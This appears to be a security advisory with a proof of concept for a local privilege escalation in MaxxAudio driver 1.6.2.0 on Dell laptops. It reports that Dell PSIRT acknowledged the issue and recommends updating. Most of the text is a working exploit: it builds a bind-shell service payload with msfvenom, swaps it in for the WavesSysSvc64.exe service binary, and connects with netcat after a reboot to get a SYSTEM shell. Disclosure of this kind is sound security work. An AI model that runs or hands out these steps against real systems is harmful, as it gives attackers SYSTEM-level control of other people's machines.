MaxxAudio licenses their driver technology to OEMs and is commonly installed on Dell Laptops (and others) as part of other driver installations.

MaxxAudio drivers version 1.6.2.0 install with incorrect file permissions. As a result a local attacker can escalate to SYSTEM level privileges.

Dell PSIRT has acknowledged the issue and advises updating to a supported driver.

Proof of concept:

1. Validate incorrect permissions.

C:Usersuser> sc qc wavessyssvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wavessyssvc

2. Create payload

Create a service payload in msfvenom, transfer to victim:

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe

3. Overwrite file.

The file will be in use, you cannot directly overwrite. However you can move the file and replace.

C:Usersuser> move "C:Program FilesWavesMaxxAudioWavesSysSvc64.exe" "C:Program FilesWavesMaxxAudioWavesSysSvc64.bak"
C:Usersuser> copy service.exe "C:Program FilesWavesMaxxAudioWavesSysSvc64.exe"

4. Reboot the system. Then use netcat or telnet to connect back to 127.0.0.1:4444
